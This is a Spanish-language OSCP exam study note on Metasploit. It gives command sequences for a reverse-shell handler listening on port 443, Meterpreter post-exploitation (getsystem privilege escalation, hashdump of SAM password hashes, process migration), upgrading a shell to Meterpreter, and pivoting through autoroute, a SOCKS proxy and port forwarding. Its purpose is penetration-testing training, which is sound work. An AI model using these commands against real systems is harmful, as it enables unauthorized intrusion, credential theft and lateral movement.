# Metasploit > ⚠️ **En el examen: solo en UNA máquina, y solo el foothold inicial cuenta como "uso"** (la post-explotación con meterpreter no cuenta). Ver Reglas de herramientas. Fuente: oscp.trastero.org/metasploit. ## Básico ``` msfconsole -q search use exploit/... show options ; set RHOSTS IP ; set LHOST TU_IP ; run ``` ## multi/handler (recibir un payload de msfvenom) ``` use exploit/multi/handler set payload windows/shell_reverse_tcp # o windows/meterpreter/reverse_tcp set LHOST TU_IP ; set LPORT 443 ; run ``` ## Meterpreter (post-explotación) ``` getuid # quién soy getsystem # intento de privesc a SYSTEM hashdump # vuelca hashes SAM → Cracking de contraseñas / Pass-the-Hash ps ; migrate 799 # migrar a otro proceso background ; sessions -i 1 ``` ## Subir una shell normal a meterpreter ``` # Ctrl+Z para mandar la shell a background, luego: use post/multi/manage/shell_to_meterpreter set SESSION 1 ; run sessions -i 2 ``` ## Pivoting con Metasploit ``` use post/multi/manage/autoroute set SESSION 1 ; set SUBNET 192.168.5.0 ; run use auxiliary/server/socks_proxy ; run # + proxychains → Tunneling portfwd add -l 3389 -p 3389 -r 192.168.5.10 ``` Relacionado: Buffer Overflow · Reverse shell · Reglas de herramientas · OSCP MOC